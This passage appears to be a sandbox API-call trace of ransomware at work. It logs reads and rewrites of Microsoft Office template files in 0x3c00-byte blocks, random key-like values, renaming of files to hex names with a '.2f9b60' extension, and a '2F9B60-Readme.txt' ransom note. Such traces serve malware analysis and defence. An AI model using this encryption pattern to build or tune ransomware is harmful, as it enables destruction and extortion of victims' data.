BaseAddress=0x42061330) returned 1 [0139.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.349] WriteFile (in: hFile=0x1cc0, lpBuffer=0x4214a920*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x392df920, lpOverlapped=0x0 | out: lpBuffer=0x4214a920*, lpNumberOfBytesWritten=0x392df920*=0x3c00, lpOverlapped=0x0) returned 1 [0139.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4214a920) returned 1 [0139.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9780 [0139.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b4f0) returned 1 [0139.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0139.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421379e0) returned 1 [0139.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cda0270 [0139.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0139.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0139.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cda02b0 [0139.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0139.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x156) returned 0x133ce0 [0139.378] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0139.378] WriteFile (in: hFile=0x1cc0, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x156, lpNumberOfBytesWritten=0x392df9d0, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x392df9d0*=0x156, lpOverlapped=0x0) returned 1 [0139.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4205b310 [0139.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b5b0 [0139.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b640 [0139.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b640) returned 1 [0139.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9da30 [0139.394] sprintf (in: _Dest=0x1cd9da30, _Format="%c%c" | out: _Dest="6c") returned 2 [0139.394] sprintf (in: _Dest=0x1cd9da32, _Format="%c%c" | out: _Dest="5d") returned 2 [0139.394] sprintf (in: _Dest=0x1cd9da34, _Format="%c%c" | out: _Dest="3d") returned 2 [0139.394] sprintf (in: _Dest=0x1cd9da36, _Format="%c%c" | out: _Dest="de") returned 2 [0139.394] sprintf (in: _Dest=0x1cd9da38, _Format="%c%c" | out: _Dest="4f") returned 2 [0139.394] sprintf (in: _Dest=0x1cd9da3a, _Format="%c%c" | out: _Dest="d8") returned 2 [0139.394] sprintf (in: _Dest=0x1cd9da3c, _Format="%c%c" | out: _Dest="1d") returned 2 [0139.394] sprintf (in: _Dest=0x1cd9da3e, _Format="%c%c" | out: _Dest="59") returned 2 [0139.394] sprintf (in: _Dest=0x1cd9da40, _Format="%c%c" | out: _Dest="19") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da42, _Format="%c%c" | out: _Dest="bb") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da44, _Format="%c%c" | out: _Dest="75") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da46, _Format="%c%c" | out: _Dest="3a") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da48, _Format="%c%c" | out: _Dest="7f") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da4a, _Format="%c%c" | out: _Dest="ff") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da4c, _Format="%c%c" | out: _Dest="9e") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da4e, _Format="%c%c" | out: _Dest="bc") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da50, _Format="%c%c" | out: _Dest="b9") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da52, _Format="%c%c" | out: _Dest="e9") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da54, _Format="%c%c" | out: _Dest="b2") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da56, _Format="%c%c" | out: _Dest="c6") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da58, _Format="%c%c" | out: _Dest="fd") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da5a, _Format="%c%c" | out: _Dest="7b") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da5c, _Format="%c%c" | out: _Dest="38") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da5e, _Format="%c%c" | out: _Dest="ca") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da60, _Format="%c%c" | out: _Dest="e8") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da62, _Format="%c%c" | out: _Dest="d5") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da64, _Format="%c%c" | out: _Dest="a0") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da66, _Format="%c%c" | out: _Dest="c9") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da68, _Format="%c%c" | out: _Dest="e8") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da6a, _Format="%c%c" | out: _Dest="07") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da6c, _Format="%c%c" | out: _Dest="3a") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da6e, _Format="%c%c" | out: _Dest="d9") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da70, _Format="%c%c" | out: _Dest="ca") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da72, _Format="%c%c" | out: _Dest="e5") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da74, _Format="%c%c" | out: _Dest="7c") returned 2 [0139.395] sprintf (in: _Dest=0x1cd9da76, _Format="%c%c" | out: _Dest="67") returned 2 [0139.396] RtlInitAnsiString (in: DestinationString=0x392dfa48, SourceString="6c5d3dde4fd81d5919bb753a7fff9ebcb9e9b2c6fd7b38cae8d5a0c9e8073ad9cae57c67" | out: DestinationString="6c5d3dde4fd81d5919bb753a7fff9ebcb9e9b2c6fd7b38cae8d5a0c9e8073ad9cae57c67") [0139.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x392dfa18, SourceString="6c5d3dde4fd81d5919bb753a7fff9ebcb9e9b2c6fd7b38cae8d5a0c9e8073ad9cae57c67", AllocateDestinationString=1 | out: DestinationString="6c5d3dde4fd81d5919bb753a7fff9ebcb9e9b2c6fd7b38cae8d5a0c9e8073ad9cae57c67") returned 0x0 [0139.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205dcd0 [0139.396] RtlFreeAnsiString (AnsiString="6") [0139.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9da30) returned 1 [0139.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b5b0) returned 1 [0139.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x133ce0) returned 1 [0139.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda02b0) returned 1 [0139.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0139.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0270) returned 1 [0139.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9780) returned 1 [0139.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eef0) returned 1 [0139.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b010) returned 1 [0139.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205af50) returned 1 [0139.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205d5f0 [0139.398] wcscat (in: _Dest=0x4205d5f0, _Source="6c5d3dde4fd81d5919" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c5d3dde4fd81d5919") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c5d3dde4fd81d5919" [0139.398] wcscat (in: _Dest=0x4205d5f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c5d3dde4fd81d5919.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c5d3dde4fd81d5919.2f9b60" [0139.398] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c5d3dde4fd81d5919.2f9b60", NtPathName=0x392df9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c5d3dde4fd81d5919.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0139.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x107cc0 [0139.398] NtSetInformationFile (FileHandle=0x1cc0, IoStatusBlock=0x392dfa90, FileInformation=0x107cc0, Length=0xb4, FileInformationClass=0xa) returned 0x0 [0139.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107cc0) returned 1 [0139.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20292c70) returned 1 [0139.402] NtQueryInformationFile (in: FileHandle=0x1cc0, IoStatusBlock=0x392dfa58, FileInformation=0x392dfa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x392dfa58, FileInformation=0x392dfa68) returned 0x0 [0139.402] NtSetInformationFile (FileHandle=0x1cc0, IoStatusBlock=0x392dfa58, FileInformation=0x392dfa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0139.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d5f0) returned 1 [0139.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dcd0) returned 1 [0139.405] FlushFileBuffers (hFile=0x1cc0) returned 1 [0139.409] CloseHandle (hObject=0x1cc0) returned 1 [0139.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b160 [0139.410] wcscpy (in: _Dest=0x1b86b160, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0139.410] wcscat (in: _Dest=0x1b86b160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0139.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0x20 [0139.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b160) returned 1 [0139.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ace0) returned 1 Thread: id = 2128 os_tid = 0x14b4 [0139.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergeletter.dotx")) returned 0x20 [0139.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeLetter.Dotx", dwFileAttributes=0x20) returned 1 [0139.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergeletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d58 [0139.294] GetFileSizeEx (in: hFile=0x1d58, lpFileSize=0x3914fa80 | out: lpFileSize=0x3914fa80*=176904) returned 1 [0139.294] SetFilePointerEx (in: hFile=0x1d58, liDistanceToMove=0x2b304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.294] ReadFile (in: hFile=0x1d58, lpBuffer=0x3914fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3914fa48, lpOverlapped=0x0 | out: lpBuffer=0x3914fa00*, lpNumberOfBytesRead=0x3914fa48*=0x4, lpOverlapped=0x0) returned 1 [0139.308] SetFilePointerEx (in: hFile=0x1d58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0139.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b460 [0139.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b400 [0139.309] NtQuerySystemTime (in: CurrentTime=0x3914f940 | out: CurrentTime=0x3914f940*=132462177445570000) returned 0x0 [0139.309] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x4e8c4cc [0139.309] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x16f16e52 [0139.309] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x736c0038 [0139.309] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x5bbeec6e [0139.309] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x58632906 [0139.309] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x70aae312 [0139.309] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x1f007f0d [0139.309] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x3786db35 [0139.309] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x1da84bfa [0139.309] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x6d0d5c3f [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x293c6fcc [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x98fa3fe [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x54b8f3ca [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x49f42abb [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x4cfebd57 [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x3d9236ca [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x6247eba2 [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x7405c3b9 [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x7ed78251 [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x1da3401c [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x1168fdbb [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x5dfcdb74 [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x5b72a8bb [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x24411c6b [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x3381a2af [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x53e677e6 [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x1657ed46 [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x736c0038 [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x6734f093 [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x6a857dc7 [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x2d64d053 [0139.310] RtlRandomEx (in: Seed=0x3914f930 | out: Seed=0x3914f930) returned 0x63c98a62 [0139.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b490 [0139.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b4c0 [0139.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b400) returned 1 [0139.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0139.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42143100 [0139.327] SetFilePointerEx (in: hFile=0x1d58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.327] ReadFile (in: hFile=0x1d58, lpBuffer=0x42143100, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3914f9a0, lpOverlapped=0x0 | out: lpBuffer=0x42143100*, lpNumberOfBytesRead=0x3914f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0139.343] SetFilePointerEx (in: hFile=0x1d58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0139.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0139.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42146d10 [0139.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0139.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b4f0 [0139.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b4f0) returned 1 [0139.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.345] WriteFile (hFile=0x1d58, lpBuffer=0x42146d10, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3914f9a0, lpOverlapped=0x0) [0172.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42146d10) returned 1 [0172.967] SetFilePointerEx (in: hFile=0x1d58, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.967] ReadFile (in: hFile=0x1d58, lpBuffer=0x42143100, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3914f9a0, lpOverlapped=0x0 | out: lpBuffer=0x42143100*, lpNumberOfBytesRead=0x3914f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0173.040] SetFilePointerEx (in: hFile=0x1d58, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0173.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505110 [0173.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3820 [0173.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3820) returned 1 [0173.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4223c5b0 [0173.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3820 [0173.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f37c0 [0173.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f37c0) returned 1 [0173.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505110) returned 1 [0173.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0173.043] WriteFile (in: hFile=0x1d58, lpBuffer=0x4223c5b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3914f9a0, lpOverlapped=0x0 | out: lpBuffer=0x4223c5b0*, lpNumberOfBytesWritten=0x3914f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4223c5b0) returned 1 [0187.177] SetFilePointerEx (in: hFile=0x1d58, liDistanceToMove=0x27708, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.177] ReadFile (in: hFile=0x1d58, lpBuffer=0x42143100, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3914f9a0, lpOverlapped=0x0 | out: lpBuffer=0x42143100*, lpNumberOfBytesRead=0x3914f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.704] SetFilePointerEx (in: hFile=0x1d58, liDistanceToMove=0x27708, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431391f0 [0190.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431391f0) returned 1 [0190.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42dd5d20 [0190.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431391f0 [0190.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139220 [0190.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139220) returned 1 [0190.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.707] WriteFile (in: hFile=0x1d58, lpBuffer=0x42dd5d20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3914f9a0, lpOverlapped=0x0 | out: lpBuffer=0x42dd5d20*, lpNumberOfBytesWritten=0x3914f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dd5d20) returned 1 [0205.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fb40 [0205.365] SetFilePointerEx (in: hFile=0x1d58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.365] WriteFile (in: hFile=0x1d58, lpBuffer=0x1ceb8ea0*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x3914fa50, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8ea0*, lpNumberOfBytesWritten=0x3914fa50*=0x15c, lpOverlapped=0x0) returned 1 [0208.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0208.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b430 [0208.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b430) returned 1 [0208.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5e870 [0208.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b430 [0208.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b040 [0208.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b040) returned 1 [0208.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0208.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1b858850 [0208.811] sprintf (in: _Dest=0x1b858850, _Format="%c%c" | out: _Dest="42") returned 2 [0208.811] sprintf (in: _Dest=0x1b858852, _Format="%c%c" | out: _Dest="ab") returned 2 [0208.811] sprintf (in: _Dest=0x1b858854, _Format="%c%c" | out: _Dest="11") returned 2 [0208.811] sprintf (in: _Dest=0x1b858856, _Format="%c%c" | out: _Dest="43") returned 2 [0208.811] sprintf (in: _Dest=0x1b858858, _Format="%c%c" | out: _Dest="36") returned 2 [0208.811] sprintf (in: _Dest=0x1b85885a, _Format="%c%c" | out: _Dest="80") returned 2 [0208.811] sprintf (in: _Dest=0x1b85885c, _Format="%c%c" | out: _Dest="d5") returned 2 [0208.811] sprintf (in: _Dest=0x1b85885e, _Format="%c%c" | out: _Dest="75") returned 2 [0208.811] sprintf (in: _Dest=0x1b858860, _Format="%c%c" | out: _Dest="a1") returned 2 [0208.811] sprintf (in: _Dest=0x1b858862, _Format="%c%c" | out: _Dest="31") returned 2 [0208.811] sprintf (in: _Dest=0x1b858864, _Format="%c%c" | out: _Dest="2b") returned 2 [0208.811] sprintf (in: _Dest=0x1b858866, _Format="%c%c" | out: _Dest="af") returned 2 [0208.811] sprintf (in: _Dest=0x1b858868, _Format="%c%c" | out: _Dest="9b") returned 2 [0208.811] sprintf (in: _Dest=0x1b85886a, _Format="%c%c" | out: _Dest="3a") returned 2 [0208.811] sprintf (in: _Dest=0x1b85886c, _Format="%c%c" | out: _Dest="e5") returned 2 [0208.811] sprintf (in: _Dest=0x1b85886e, _Format="%c%c" | out: _Dest="f2") returned 2 [0208.811] sprintf (in: _Dest=0x1b858870, _Format="%c%c" | out: _Dest="c5") returned 2 [0208.811] 